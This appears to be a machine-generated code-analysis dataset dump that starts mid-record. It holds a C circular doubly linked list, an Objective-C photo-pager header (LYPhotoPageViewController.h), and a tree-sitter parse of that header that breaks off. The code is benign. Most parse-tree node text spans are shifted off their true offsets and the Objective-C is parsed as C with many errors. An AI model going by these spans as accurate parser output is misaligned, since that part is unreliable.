239, 242, 243, 245, 256, 257, 262, 263, 266, 267, 270, 271, 273, 277, 278, 279, 281, 284, 285, 287, 289, 293, 296, 299, 304, 305, 309, 315, 319, 321, 323, 326, 328, 331, 332, 336, 338, 339, 343, 344, 346, 350, 351, 352, 355, 356, 360, 361, 362, 365, 366, 368, 370, 381, 382, 386, 388, 391, 392, 394, 400, 403, 406, 407, 410, 414, 419, 423, 424, 426, 427, 434, 435, 436, 442, 445, 448, 449, 452, 456, 461, 465, 466, 468, 469, 476, 477, 478, 484, 487, 490, 493, 494, 497, 501, 506, 509, 512, 513, 517, 522, 525, 527, 529, 532, 533, 536, 540, 542, 545, 547, 550, 551, 554, 555, 556, 563, 566, 569, 574, 575, 579, 585, 589, 591, 594, 596, 599, 601, 604, 605, 608, 612, 614, 616, 618, 621, 624, 625, 627, 629, 632, 633, 635, 639, 642, 645, 646, 649, 653, 655, 666, 667, 671, 674, 677, 678, 681, 685, 688, 691, 693, 696, 697, 699, 705, 707, 708, 712, 713, 715, 717, 721, 722, 725, 729, 730, 732, 735, 736, 738, 745, 748, 753, 754, 758, 766, 770, 773, 776, 778, 781, 783, 789, 790, 794, 799, 801, 804, 805, 807, 809, 811, 813, 815, 819, 823], "returns": [40, 76, 108, 132, 182, 214, 238, 288, 320, 385, 393, 415, 428, 431, 457, 470, 473, 502, 552, 557, 590, 626, 634, 654, 656, 686, 771], "exceptions": []}, "expressions": {"calls": [], "literals": [2, 5, 49, 153, 259, 384, 519, 538, 610, 701, 719, 727, 740], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [{"node_id": 6, "universal_type": "function", "name": "*initial_length;", "text_snippet": "linked_list *initialize_list() {\n\tlinked_list *new_list;\n\tint *initial_length;\n\tnew_list = malloc( s"}, {"node_id": 10, "universal_type": "function", "name": "unknown", "text_snippet": "initialize_list()"}, {"node_id": 78, "universal_type": "function", "name": "append_element", "text_snippet": "int append_element(linked_list *list, void *element) {\n\tif (list == NULL || element == NULL) {\n\t\tDL_"}, {"node_id": 80, "universal_type": "function", "name": "*element)", "text_snippet": "append_element(linked_list *list, void *element)"}, {"node_id": 184, "universal_type": "function", "name": "prepend_element", "text_snippet": "int prepend_element(linked_list *list, void *element) {\n\tif(list == NULL || element == NULL){\n\t\tDL_I"}, {"node_id": 186, "universal_type": "function", "name": "*element)", "text_snippet": "prepend_element(linked_list *list, void *element)"}, {"node_id": 290, "universal_type": "function", "name": "delete_element", "text_snippet": "int delete_element(linked_list *list, void *element) {\n\tif (list == NULL || element == NULL) {\n\t\tDL_"}, {"node_id": 292, "universal_type": "function", "name": "*element)", "text_snippet": "delete_element(linked_list *list, void *element)"}, {"node_id": 395, "universal_type": "function", "name": "*get_first_element", "text_snippet": "void *get_first_element(linked_list *list) {\n\tif (list == NULL) {\n\t\tDL_INVALID_ARGS_MSG;\n\t\treturn NU"}, {"node_id": 399, "universal_type": "function", "name": "unknown", "text_snippet": "get_first_element(linked_list *list)"}, {"node_id": 437, "universal_type": "function", "name": "*get_last_element", "text_snippet": "void *get_last_element(linked_list *list) {\n\tif (list == NULL) {\n\t\tDL_INVALID_ARGS_MSG;\n\t\treturn NUL"}, {"node_id": 441, "universal_type": "function", "name": "unknown", "text_snippet": "get_last_element(linked_list *list)"}, {"node_id": 479, "universal_type": "function", "name": "*get_element", "text_snippet": "void *get_element(linked_list *list, int k) {\n\tif (list == NULL) {\n\t\tDL_INVALID_ARGS_MSG;\n\t\treturn N"}, {"node_id": 483, "universal_type": "function", "name": "k)", "text_snippet": "get_element(linked_list *list, int k)"}, {"node_id": 560, "universal_type": "function", "name": "get_index_of_element", "text_snippet": "int get_index_of_element(linked_list *list, void *data) {\n\tif (list == NULL || data == NULL) {\n\t\tDL_"}, {"node_id": 562, "universal_type": "function", "name": "*data)", "text_snippet": "get_index_of_element(linked_list *list, void *data)"}, {"node_id": 636, "universal_type": "function", "name": "get_length", "text_snippet": "int get_length(linked_list *list) {\n\tif (list == NULL) {\n\t\tDL_INVALID_ARGS_MSG;\n\t\treturn DL_ERROR_SI"}, {"node_id": 638, "universal_type": "function", "name": "unknown", "text_snippet": "get_length(linked_list *list)"}, {"node_id": 668, "universal_type": "function", "name": "list_dump", "text_snippet": "void list_dump(const linked_list *list) {\n\tif (list == NULL) {\n\t\tDL_INVALID_ARGS_MSG;\n\t\treturn;\t\n\t}\n"}, {"node_id": 670, "universal_type": "function", "name": "unknown", "text_snippet": "list_dump(const linked_list *list)"}, {"node_id": 742, "universal_type": "function", "name": "terminate_list", "text_snippet": "void terminate_list(linked_list **list) {\n\tif (list == NULL || *list == NULL) {\n\t\tDL_INVALID_ARGS_MS"}, {"node_id": 744, "universal_type": "function", "name": "unknown", "text_snippet": "terminate_list(linked_list **list)"}], "class_declarations": [], "import_statements": [{"node_id": 0, "text": "#include <stdlib.h>\n"}, {"node_id": 1, "text": "#include"}, {"node_id": 3, "text": "#include \"dlinkedlist.h\"\n"}, {"node_id": 4, "text": "#include"}]}, "original_source_code": "/*\n\tThis is a circular doubly linked list.\n\tThe very first element in the list is the sentry \n\telement and does not count as a element of the list.\n \tNew: the first element also contains the length of the list\n\tMade by <NAME> (2015)\n*/\n#include <stdlib.h>\n#include \"dlinkedlist.h\"\n\n/*\n * Allocates memory to the list and setups the sentry element\n * returns NULL if unsuccessful\n */\nlinked_list *initialize_list() {\n\tlinked_list *new_list;\n\tint *initial_length;\n\tnew_list = malloc( sizeof(linked_list) );\n\n\tif (new_list == NULL) {\n\t\tDL_OUT_OF_MEM_MSG;\n\t\treturn NULL;\t\n\t}\n\tinitial_length = calloc(1, sizeof(int));\n\n\tnew_list->next = new_list;\n\tnew_list->previous = new_list;\n\tnew_list->data = (void *) initial_length;\n\n\treturn new_list;\n}\n\n/* \n * Appending a new element to the list.\n * Returns DL_SUCCESS_SIGNAL on successful appending,\n * DL_ERROR_SIGNAL otherwise.\n */\nint append_element(linked_list *list, void *element) {\n\tif (list == NULL || element == NULL) {\n\t\tDL_INVALID_ARGS_MSG;\n\t\treturn DL_ERROR_SIGNAL;\n\t}\n\n\tlinked_list *new_list_element;\n\n\tnew_list_element = malloc( sizeof(linked_list) );\n\t\n\tif (new_list_element == NULL) {\n\t\tDL_OUT_OF_MEM_MSG;\n\t\treturn DL_ERROR_SIGNAL;\n\t}\n\n\tnew_list_element->data = element;\n\n\t*((int*) list->data) += 1;\n\n\t// list->previous is the (old) last element in the list\n\n\tnew_list_element->previous = list->previous;\n\tnew_list_element->next = list;\n\n\tlist->previous->next = new_list_element;\n\tlist->previous = new_list_element;\n\n\treturn DL_SUCCESS_SIGNAL;\n}\n\n/*\n * Prepends a new element to the list. \n * Returns DL_SUCCESS_SIGNAL on successful pre-pending,\n * DL_ERROR_SIGNAL otherwise.\n */\nint prepend_element(linked_list *list, void *element) {\n\tif(list == NULL || element == NULL){\n\t\tDL_INVALID_ARGS_MSG;\n\t\treturn DL_ERROR_SIGNAL;\n\t}\n\n\tlinked_list *new_list_element;\n\n\tnew_list_element = malloc(sizeof(linked_list));\n\t\n\tif(new_list_element == NULL){\n\t\tDL_OUT_OF_MEM_MSG;\n\t\treturn DL_ERROR_SIGNAL;\n\t}\n\n\tnew_list_element->data = element;\n\n\t*((int*) list->data) += 1;\n\n\t// list->next is the old first element in the list\n\n\tnew_list_element->next = list->next;\n\tnew_list_element->previous = list;\n\n\tlist->next->previous = new_list_element;\n\tlist->next = new_list_element;\n\n\treturn DL_SUCCESS_SIGNAL;\n}\n\n/*\n * Returns DL_SUCCESS_SIGNAL if element was removed, returns\n * DL_ERROR_SIGNAL otherwise\n */\nint delete_element(linked_list *list, void *element) {\n\tif (list == NULL || element == NULL) {\n\t\tDL_INVALID_ARGS_MSG;\n\t\treturn DL_ERROR_SIGNAL;\n\t}\n\n\tlinked_list *iterator;\n\n\titerator = list->next;\n\n\twhile (iterator != list) {\n\t\tif (iterator->data == element) {\n\t\t\titerator->previous->next = iterator->next;\n\t\t\titerator->next->previous = iterator->previous;\n\t\t\tfree(iterator);\n\t\t\t*((int*) list->data) -= 1;\n\t\t\treturn DL_SUCCESS_SIGNAL;\n\t\t}\n\t\titerator = iterator->next;\n\t}\n\treturn DL_ERROR_SIGNAL;\n}\n\n/* \n * Retrieves the first element in the list, or NULL if no first element is\n * found\n */\nvoid *get_first_element(linked_list *list) {\n\tif (list == NULL) {\n\t\tDL_INVALID_ARGS_MSG;\n\t\treturn NULL;\t\n\t} else if (list->next == list) {\n\t\tDL_OUT_OF_BOUND_MSG;\n\t\treturn NULL;\n\t}\n\treturn list->next->data;\n}\n\n\n/*\n * Retrieves the last element in the list, or NULL if no last element is found\n */\nvoid *get_last_element(linked_list *list) {\n\tif (list == NULL) {\n\t\tDL_INVALID_ARGS_MSG;\n\t\treturn NULL;\t\n\t} else if (list->previous == list) {\n\t\tDL_OUT_OF_BOUND_MSG;\n\t\treturn NULL;\n\t}\n\treturn list->previous->data;\n}\n\n/*\n * Retrieves the k'th element in the list, or NULL and an error message if\n * index is out of bounce \n */\nvoid *get_element(linked_list *list, int k) {\n\tif (list == NULL) {\n\t\tDL_INVALID_ARGS_MSG;\n\t\treturn NULL;\t\n\t}\n\n\tlinked_list *iterator;\n\tint i;\n\n\tif ( k >= 0 && k < get_length(list) ) {\n\t\titerator = list->next;\n\n\t\tfor (i = 0; i < k; ++i) {\n\t\t\titerator = iterator->next;\n\t\t}\n\n\t\treturn iterator->data;\n\t}\n\n\tDL_OUT_OF_BOUND_MSG;\n\treturn NULL;\n}\n\n/*\n * Gets the index of the element,\n * returns -1 if not found\n */\nint get_index_of_element(linked_list *list, void *data) {\n\tif (list == NULL || data == NULL) {\n\t\tDL_INVALID_ARGS_MSG;\n\t\treturn DL_ERROR_SIGNAL;\n\t}\n\tint i;\n\tlinked_list *iterator;\n\titerator = list->next;\n\n\tfor (i = 0; list != iterator; i++) {\n\t\tif (data == iterator->data) {\n\t\t\treturn i;\n\t\t}\n\t\titerator = iterator->next;\n\t}\n\n\treturn DL_ERROR_SIGNAL;\n}\n\n/*\n * Gets a count of the elements in the linked list or DL_ERROR_SIGNAL if error\n */\nint get_length(linked_list *list) {\n\tif (list == NULL) {\n\t\tDL_INVALID_ARGS_MSG;\n\t\treturn DL_ERROR_SIGNAL;\n\t}\n\n/*\tlinked_list *iterator;\n\tint counter;\n\n\tcounter = 0;\n\titerator = list->next;\n\n\twhile (iterator != list) {\n\t\tcounter++;\n\t\titerator = iterator->next;\n\t}\n\n\treturn counter; */\n\n\treturn *((int*) list->data);\n}\n\n/* \n * Makes a string containing all pointers to the element data \n * in the linked list. This hopefully gives some insight into \n * the contents of the linked list. \n */\nvoid list_dump(const linked_list *list) {\n\tif (list == NULL) {\n\t\tDL_INVALID_ARGS_MSG;\n\t\treturn;\t\n\t}\n\n\tlinked_list *iterator;\n\t\n\titerator = list->next;\n\t\n\tprintf(\"[\");\n\twhile(list != iterator) {\n\t\tif (iterator->next == list) {\n\t\t\tprintf(\"%p\",iterator->data);\n\t\t} else {\n\t\t\tprintf(\"%p,\",iterator->data);\n\t\t}\n\t\titerator = iterator->next;\n\t}\n\tprintf(\"]\\n\");\n}\n\n/*\n * Deallocates all the nodes in the whole list\n */\nvoid terminate_list(linked_list **list) {\n\tif (list == NULL || *list == NULL) {\n\t\tDL_INVALID_ARGS_MSG;\n\t\treturn;\t\n\t}\n\n\tlinked_list *iterator;\n\tlinked_list *placeholder;\n\n\titerator = (*list)->next;\n\twhile (iterator != (*list)) {\n\t\tplaceholder = iterator->next;\n\t\tfree(iterator);\n\t\titerator = placeholder;\n\t}\n\tfree(*list);\n\t*list = NULL;\n}\n"}
81,161
c
// // LYPhotoPageViewController.h // LYPhotoPageViewControllerDemo // // Created by <NAME> on 15-3-2. // Copyright (c) 2015年 LY. All rights reserved. // #import <UIKit/UIKit.h> #import "LYPhotoViewController.h" typedef NS_ENUM(NSUInteger, EPhotoPageScrollAnimationDirection) { EPhotoPageScrollAnimationDirectionNone = 0, EPhotoPageScrollAnimationDirectionBefore = 1, EPhotoPageScrollAnimationDirectionAfter = 2, EPhotoPageScrollAnimationDirectionAutomic = 3, }; @class LYPhotoPageViewController; @protocol RMPhotoPageViewControllerDelegate <NSObject> @optional - (void)photoPageViewController:(LYPhotoPageViewController *)photoPageViewController willScorllToIndex:(NSUInteger)index; - (void)photoPageViewController:(LYPhotoPageViewController *)photoPageViewController didScorllToIndex:(NSUInteger)index; @end @protocol RMPhotoPageViewControllerDataSource <NSObject> @required - (NSUInteger)numberOfIndexInPhotoPageViewController:(LYPhotoPageViewController *)photoPageViewController; - (RMPhotoViewController *)photoPageViewController:(LYPhotoPageViewController *)photoPageViewController atIndex:(NSUInteger)index; @end @interface LYPhotoPageViewController : UIViewController @property (nonatomic, assign) NSUInteger currentIndex; @property (nonatomic, weak) id<RMPhotoPageViewControllerDelegate> delegate; @property (nonatomic, weak) id<RMPhotoPageViewControllerDataSource> dataSource; + (instancetype)viewController; - (void)reloadData; - (NSUInteger)numberOfIndex; - (void)setCurrentIndex:(NSUInteger)currentIndex scrollAnimation:(EPhotoPageScrollAnimationDirection)animation completion:(void (^)(BOOL finished))completion; - (void)deletePhotoViewControllerAtIndex:(NSUInteger)index scrollAnimation:(EPhotoPageScrollAnimationDirection)animation completion:(void (^)(BOOL finished))completion; - (RMPhotoViewController *)photoViewControllerWithIndex:(NSUInteger)index; @end
44.42
45
(translation_unit) "//\n// LYPhotoPageViewController.h\n// LYPhotoPageViewControllerDemo\n//\n// Created by <NAME> on 15-3-2.\n// Copyright (c) 2015年 LY. All rights reserved.\n//\n\n#import <UIKit/UIKit.h>\n\n#import "LYPhotoViewController.h"\n\ntypedef NS_ENUM(NSUInteger, EPhotoPageScrollAnimationDirection) {\n EPhotoPageScrollAnimationDirectionNone = 0,\n EPhotoPageScrollAnimationDirectionBefore = 1,\n EPhotoPageScrollAnimationDirectionAfter = 2,\n EPhotoPageScrollAnimationDirectionAutomic = 3,\n};\n\n@class LYPhotoPageViewController;\n\n@protocol RMPhotoPageViewControllerDelegate <NSObject>\n\n@optional\n\n- (void)photoPageViewController:(LYPhotoPageViewController *)photoPageViewController\n willScorllToIndex:(NSUInteger)index;\n- (void)photoPageViewController:(LYPhotoPageViewController *)photoPageViewController\n didScorllToIndex:(NSUInteger)index;\n@end\n\n@protocol RMPhotoPageViewControllerDataSource <NSObject>\n\n@required\n- (NSUInteger)numberOfIndexInPhotoPageViewController:(LYPhotoPageViewController *)photoPageViewController;\n- (RMPhotoViewController *)photoPageViewController:(LYPhotoPageViewController *)photoPageViewController\n atIndex:(NSUInteger)index;\n@end\n\n\n@interface LYPhotoPageViewController : UIViewController\n\n@property (nonatomic, assign) NSUInteger currentIndex;\n\n@property (nonatomic, weak) id<RMPhotoPageViewControllerDelegate> delegate;\n@property (nonatomic, weak) id<RMPhotoPageViewControllerDataSource> dataSource;\n\n+ (instancetype)viewController;\n\n- (void)reloadData;\n\n- (NSUInteger)numberOfIndex;\n\n- (void)setCurrentIndex:(NSUInteger)currentIndex\n scrollAnimation:(EPhotoPageScrollAnimationDirection)animation\n completion:(void (^)(BOOL finished))completion;\n\n- (void)deletePhotoViewControllerAtIndex:(NSUInteger)index\n scrollAnimation:(EPhotoPageScrollAnimationDirection)animation\n completion:(void (^)(BOOL finished))completion;\n\n- (RMPhotoViewController *)photoViewControllerWithIndex:(NSUInteger)index;\n\n@end\n" (comment) "//" (comment) "// LYPhotoPageViewController.h" (comment) "// LYPhotoPageViewControllerDemo" (comment) "//" (comment) "// Created by <NAME> on 15-3-2." (comment) "// Copyright (c) 2015年 LY. All rights reserved.\n/" (comment) "\n\n" (preproc_call) "mport <UIKit/UIKit.h>\n\n#" (preproc_directive) "mport <" (preproc_arg) "IKit/UIKit.h>\n\n" (preproc_call) "mport "LYPhotoViewController.h"\n\nt" (preproc_directive) "mport "" (preproc_arg) "YPhotoViewController.h"\n\n" (ERROR) "pedef NS_ENUM(NSUInteger, EPhotoPageScrollAnimationDirection) {\n EPhotoPageScrollAnimationDirectionNone = 0,\n EPhotoPageScrollAnimationDirectionBefore = 1,\n EPhotoPageScrollAnimationDirectionAfter = 2,\n EPhotoPageScrollAnimationDirectionAutomic = 3,\n};\n\n@class LYPhotoPageViewController;\n\n@protocol RMPhotoPageViewControllerDelegate <NSObject>\n\n@optional\n\n- (void)photoPageViewController:(LYPhotoPageViewController *)photoPageViewController\n willScorllToIndex:(NSUInteger)index;\n- (void)photoPageViewController:(LYPhotoPageViewController *)photoPageViewController\n didScorllToIndex:(NSUInteger)index;\n@end\n\n@protocol RMPhotoPageViewControllerDataSource <NSObject>\n\n@required\n- (NSUInteger)numberOfIndexInPhotoPageViewController:(LYPhotoPageViewController *)photoPageViewController;\n- (RMPhotoViewController *)photoPageViewController:(LYPhotoPageViewController *)photoPageViewController\n atIndex:(NSUInteger)index;\n@end\n\n\n@interface LYPhotoPageViewController : UIViewController\n\n@property (nonatomic, assign) NSUInteger currentIndex;\n\n@property (nonatomic, weak) id<RMPhotoPageViewControllerDelegate> delegate;\n@property (nonatomic, weak) id<RMPhotoPageViewControllerDataSource> dataSource;\n\n+ (instancetype)viewController;\n\n- (void)reloadData;\n\n- (NSUInteger)numberOfIndex;\n\n- (void)setCurrentIndex:(NSUInteger)currentIndex\n scrollAnimation:(EPhotoPageScrollAnimationDirection)animation\n completion:(void (^)(BOOL finished))completion;\n\n- (void)deletePhotoViewControllerAtIndex:(NSUInteger)index\n scrollAnimation:(EPhotoPageScrollAnimationDirection)animation\n completion:(void (^)(BOOL finished))completion;\n\n- (RMPhotoViewController *)photoViewControllerWithIndex:(NSUInteger)index;\n\n@end\n" (typedef) "pedef N" (macro_type_specifier) "_ENUM(NSUInteger, EPhotoPageScrollAnimationDirection) {" (identifier) "_ENUM(N" (() "S" (ERROR) "UInteger, E" (type_descriptor) "UInteger, " (type_identifier) "UInteger, " (,) "E" (type_descriptor) "hotoPageScrollAnimationDirection) " (type_identifier) "hotoPageScrollAnimationDirection) " ()) "{" ({) " " (expression_statement) "hotoPageScrollAnimationDirectionNone = 0,\n EPhotoPageScrollAnimationDirectionBefore = 1,\n EPhotoPageScrollAnimationDirectionAfter = 2,\n EPhotoPageScrollAnimationDirectionAutomic = 3,\n};\n\n@class LYPhotoPageViewController;\n\n" (comma_expression) "hotoPageScrollAnimationDirectionNone = 0,\n EPhotoPageScrollAnimationDirectionBefore = 1,\n EPhotoPageScrollAnimationDirectionAfter = 2,\n EPhotoPageScrollAnimationDirectionAutomic = 3,\n};\n\n@class LYPhotoPageViewController;\n" (assignment_expression) "hotoPageScrollAnimationDirectionNone = 0,\n" (identifier) "hotoPageScrollAnimationDirectionNone =" (=) "0" (number_literal) "\n" (,) " " (comma_expression) "hotoPageScrollAnimationDirectionBefore = 1,\n EPhotoPageScrollAnimationDirectionAfter = 2,\n EPhotoPageScrollAnimationDirectionAutomic = 3,\n};\n\n@class LYPhotoPageViewController;\n" (assignment_expression) "hotoPageScrollAnimationDirectionBefore = 1,\n" (identifier) "hotoPageScrollAnimationDirectionBefore =" (=) "1" (number_literal) "\n" (,) " " (comma_expression) "hotoPageScrollAnimationDirectionAfter = 2,\n EPhotoPageScrollAnimationDirectionAutomic = 3,\n};\n\n@class LYPhotoPageViewController;\n" (assignment_expression) "hotoPageScrollAnimationDirectionAfter = 2,\n" (identifier) "hotoPageScrollAnimationDirectionAfter =" (=) "2" (number_literal) "\n" (,) " " (comma_expression) "hotoPageScrollAnimationDirectionAutomic = 3,\n};\n\n@class LYPhotoPageViewController;\n" (assignment_expression) "hotoPageScrollAnimationDirectionAutomic = 3,\n" (identifier) "hotoPageScrollAnimationDirectionAutomic =" (=) "3" (number_literal) "\n" (,) "}" (ERROR) "\n\n@class L" (}) "\n" (;) "\n" (ERROR) "l" (identifier) "ass L" (identifier) "PhotoPageViewController;\n" (;) "\n" (ERROR) "rotocol RMPhotoPageViewControllerDelegate <NSObject>\n\n@optional\n\n- (void)photoPageViewController:(LY" (ERROR) "r" (type_identifier) "otocol R" (identifier) "PhotoPageViewControllerDelegate <" (<) "S" (identifier) "Object>\n" (>) "\n" (ERROR) "p" (identifier) "tional\n\n" (unary_expression) "(void)photoPageViewController:(" (-) "(" (cast_expression) "oid)photoPageViewController:(" (() "o" (type_descriptor) "id)p" (primitive_type) "id)p" ()) "h" (identifier) "otoPageViewController:(" (:) "L" (() "Y" (expression_statement) "PhotoPageViewController *)photoPageViewController\n " (binary_expression) "PhotoPageViewController *)photoPageViewController\n " (identifier) "PhotoPageViewController *" (*) "p" (ERROR) "h" ()) "h" (identifier) "otoPageViewController\n " (;) "" (labeled_statement) "llScorllToIndex:(NSUInteger)index;\n-" (statement_identifier) "llScorllToIndex:(" (:) "N" (expression_statement) "SUInteger)index;\n-" (cast_expression) "SUInteger)index;\n" (() "S" (type_descriptor) "UInteger)i" (type_identifier) "UInteger)i" ()) "n" (identifier) "dex;\n" (;) "-" (expression_statement) "(void)photoPageViewController:(LYPhotoPageViewController *)photoPageViewController\n " (binary_expression) "(void)photoPageViewController:(LYPhotoPageViewController *)photoPageViewController\n " (unary_expression) "(void)photoPageViewController:(" (-) "(" (cast_expression) "oid)photoPageViewController:(" (() "o" (type_descriptor) "id)p" (primitive_type) "id)p" ()) "h" (identifier) "otoPageViewController:(" (ERROR) "LYPhotoPageViewController *" (:) "L" (() "Y" (identifier) "PhotoPageViewController *" (*) "p" (ERROR) "h" ()) "h" (identifier) "otoPageViewController\n " (;) "" (labeled_statement) "dScorllToIndex:(NSUInteger)index;\n@" (statement_identifier) "dScorllToIndex:(" (:) "N" (expression_statement) "SUInteger)index;\n@" (cast_expression) "SUInteger)index;\n" (() "S" (type_descriptor) "UInteger)i" (type_identifier) "UInteger)i" ()) "n" (identifier) "dex;\n" (;) "@" (ERROR) "n" (ERROR) "n" (declaration) "d\n\n@protocol R" (type_identifier) "d\n\n" (ERROR) "r" (ERROR) "r" (identifier) "otocol R" (;) "" (expression_statement) "PhotoPageViewControllerDataSource <NSObject>\n\n@required\n- (NSUInteger)numberOfIndexInPhotoPageViewController:(LYPhotoPageViewController *)photoPageViewController;\n-" (binary_expression) "PhotoPageViewControllerDataSource <NSObject>\n\n@required\n- (NSUInteger)numberOfIndexInPhotoPageViewController:(LYPhotoPageViewController *)photoPageViewController;\n" (binary_expression) "PhotoPageViewControllerDataSource <NSObject>\n\n@required\n- (NSUInteger)numberOfIndexInPhotoPageViewController:(" (binary_expression) "PhotoPageViewControllerDataSource <NSObject>\n" (identifier) "PhotoPageViewControllerDataSource <" (<) "S" (identifier) "Object>\n" (>) "\n" (ERROR) "e" (ERROR) "e" (binary_expression) "quired\n- (NSUInteger)numberOfIndexInPhotoPageViewController:(" (identifier) "quired\n-" (-) "(" (cast_expression) "SUInteger)numberOfIndexInPhotoPageViewController:(" (() "S" (type_descriptor) "UInteger)n" (type_identifier) "UInteger)n" ()) "u" (identifier) "mberOfIndexInPhotoPageViewController:(" (ERROR) "LYPhotoPageViewController *" (:) "L" (() "Y" (identifier) "PhotoPageViewController *" (*) "p" (ERROR) "h" ()) "h" (identifier) "otoPageViewController;\n" (;) "-" (expression_statement) "(RMPhotoViewController *)photoPageViewController:(LYPhotoPageViewController *)photoPageViewController\n " (binary_expression) "(RMPhotoViewController *)photoPageViewController:(LYPhotoPageViewController *)photoPageViewController\n " (unary_expression) "(RMPhotoViewController *)photoPageViewController:(" (-) "(" (cast_expression) "MPhotoViewController *)photoPageViewController:(" (() "M" (type_descriptor) "PhotoViewController *)p" (type_identifier) "PhotoViewController *" (abstract_pointer_declarator) "p" (*) "p" ()) "h" (identifier) "otoPageViewController:(" (ERROR) "LYPhotoPageViewController *" (:) "L" (() "Y" (identifier) "PhotoPageViewController *" (*) "p" (ERROR) "h" ()) "h" (identifier) "otoPageViewController\n " (;) "" (labeled_statement) "Index:(NSUInteger)index;\n@" (statement_identifier) "Index:(" (:) "N" (expression_statement) "SUInteger)index;\n@" (cast_expression) "SUInteger)index;\n" (() "S" (type_descriptor) "UInteger)i" (type_identifier) "UInteger)i" ()) "n" (identifier) "dex;\n" (;) "@" (ERROR) "n" (ERROR) "n" (declaration) "d\n\n\n@interface L" (type_identifier) "d\n\n" (ERROR) "n" (ERROR) "n" (identifier) "terface L" (;) "" (expression_statement) "PhotoPageViewController : UIViewController\n\n@property (nonatomic, assign) NSUInteger currentIndex;\n\n@property (nonatomic, weak) id<RMPhotoPageViewControllerDelegate> delegate;\n@" (binary_expression) "PhotoPageViewController : UIViewController\n\n@property (nonatomic, assign) NSUInteger currentIndex;\n\n@property (nonatomic, weak) id<RMPhotoPageViewControllerDelegate> delegate;\n" (binary_expression) "PhotoPageViewController : UIViewController\n\n@property (nonatomic, assign) NSUInteger currentIndex;\n\n@property (nonatomic, weak) id<RMPhotoPageViewControllerDelegate> " (identifier) "PhotoPageViewController :" (ERROR) "UIViewController\n\n@property (nonatomic, assign) NSUInteger currentIndex;\n\n@property (nonatomic, weak) id<R" (:) "U" (type_identifier) "ViewController\n\n" (ERROR) "roperty (nonatomic, assign) NSUInteger currentIndex;\n\n@pr" (ERROR) "r" (function_declarator) "operty (nonatomic, assign) NSUInteger currentIndex;\n" (identifier) "operty (" (parameter_list) "onatomic, assign) N" (() "o" (parameter_declaration) "natomic, " (type_identifier) "natomic, " (,) "a" (parameter_declaration) "sign) " (type_identifier) "sign) " ()) "N" (identifier) "UInteger c" (identifier) "rrentIndex;\n" (;) "\n" (ERROR) "r" (function_declarator) "operty (nonatomic, weak) id<R" (identifier) "operty (" (parameter_list) "onatomic, weak) i" (() "o" (parameter_declaration) "natomic, " (type_identifier) "natomic, " (,) "w" (parameter_declaration) "ak) " (type_identifier) "ak) " ()) "i" (identifier) "<R" (<) "M" (identifier) "PhotoPageViewControllerDelegate> " (>) "d" (identifier) "legate;\n" (;) "@" (ERROR) "r" (ERROR) "r" (expression_statement) "operty (nonatomic, weak) id<RMPhotoPageViewControllerDataSource> dataSource;\n\n" (binary_expression) "operty (nonatomic, weak) id<RMPhotoPageViewControllerDataSource> dataSource;\n" (binary_expression) "operty (nonatomic, weak) id<RMPhotoPageViewControllerDataSource> " (call_expression) "operty (nonatomic, weak) i" (identifier) "operty (" (argument_list) "onatomic, weak) i" (() "o" (identifier) "natomic, " (,) "w" (identifier) "ak) " ()) "i" (ERROR) "<R" (identifier) "<R" (<) "M" (identifier) "PhotoPageViewControllerDataSource> " (>) "d" (identifier) "taSource;\n" (;) "\n" (expression_statement) "(instancetype)viewController;\n\n" (unary_expression) "(instancetype)viewController;\n" (+) "(" (cast_expression) "nstancetype)viewController;\n" (() "n" (type_descriptor) "stancetype)v" (type_identifier) "stancetype)v" ()) "i" (identifier) "ewController;\n" (;) "\n" (expression_statement) "(void)reloadData;\n\n" (unary_expression) "(void)reloadData;\n" (-) "(" (cast_expression) "oid)reloadData;\n" (() "o" (type_descriptor) "id)r" (primitive_type) "id)r" ()) "e" (identifier) "loadData;\n" (;) "\n" (expression_statement) "(NSUInteger)numberOfIndex;\n\n" (unary_expression) "(NSUInteger)numberOfIndex;\n" (-) "(" (cast_expression) "SUInteger)numberOfIndex;\n" (() "S" (type_descriptor) "UInteger)n" (type_identifier) "UInteger)n" ()) "u" (identifier) "mberOfIndex;\n" (;) "\n" (ERROR) "(void)setCurrentIndex:(NSUInteger)cu" (unary_expression) "(void)setCurrentIndex:(" (-) "(" (cast_expression) "oid)setCurrentIndex:(" (() "o" (type_descriptor) "id)s" (primitive_type) "id)s" ()) "e" (identifier) "tCurrentIndex:(" (:) "N" (() "S" (identifier) "UInteger)c" ()) "u" (declaration) "rrentIndex\n scrollAnimation:(EPhotoPageScrollAnimationDirection)animation\n " (type_identifier) "rrentIndex\n " (ERROR) "rollAnimation:(EPhotoPageScrollAnimationDirection)an" (identifier) "rollAnimation:(" (:) "E" (() "P" (identifier) "hotoPageScrollAnimationDirection)a" ()) "n" (identifier) "imation\n " (;) "" (labeled_statement) "mpletion:(void (^)(BOOL finished))completion;\n\n" (statement_identifier) "mpletion:(" (:) "v" (expression_statement) "oid (^)(BOOL finished))completion;\n\n" (cast_expression) "oid (^)(BOOL finished))completion;\n" (() "o" (type_descriptor) "id (^)(BOOL finished))c" (primitive_type) "id (" (abstract_function_declarator) ")(BOOL finished))c" (abstract_function_declarator) ")(B" (parameter_list) ")(B" (() ")" (ERROR) "(" (^) "(" ()) "B" (parameter_list) "OOL finished))c" (() "O" (parameter_declaration) "OL finished))" (type_identifier) "OL f" (identifier) "nished))" ()) "c" ()) "o" (identifier) "mpletion;\n" (;) "\n" (ERROR) "(void)deletePhotoViewControllerAtIndex:(NSUInteger)in" (unary_expression) "(void)deletePhotoViewControllerAtIndex:(" (-) "(" (cast_expression) "oid)deletePhotoViewControllerAtIndex:(" (() "o" (type_descriptor) "id)d" (primitive_type) "id)d" ()) "e" (identifier) "letePhotoViewControllerAtIndex:(" (:) "N" (() "S" (identifier) "UInteger)i" ()) "n" (declaration) "dex\n scrollAnimation:(EPhotoPageScrollAnimationDirection)animation\n " (type_identifier) "dex\n " (ERROR) "rollAnimation:(EPhotoPageScrollAnimationDirection)an" (identifier) "rollAnimation:(" (:) "E" (() "P" (identifier) "hotoPageScrollAnimationDirection)a" ()) "n" (identifier) "imation\n " (;) "" (labeled_statement) "mpletion:(void (^)(BOOL finished))completion;\n\n" (statement_identifier) "mpletion:(" (:) "v" (expression_statement) "oid (^)(BOOL finished))completion;\n\n" (cast_expression) "oid (^)(BOOL finished))completion;\n" (() "o" (type_descriptor) "id (^)(BOOL finished))c" (primitive_type) "id (" (abstract_function_declarator) ")(BOOL finished))c" (abstract_function_declarator) ")(B" (parameter_list) ")(B" (() ")" 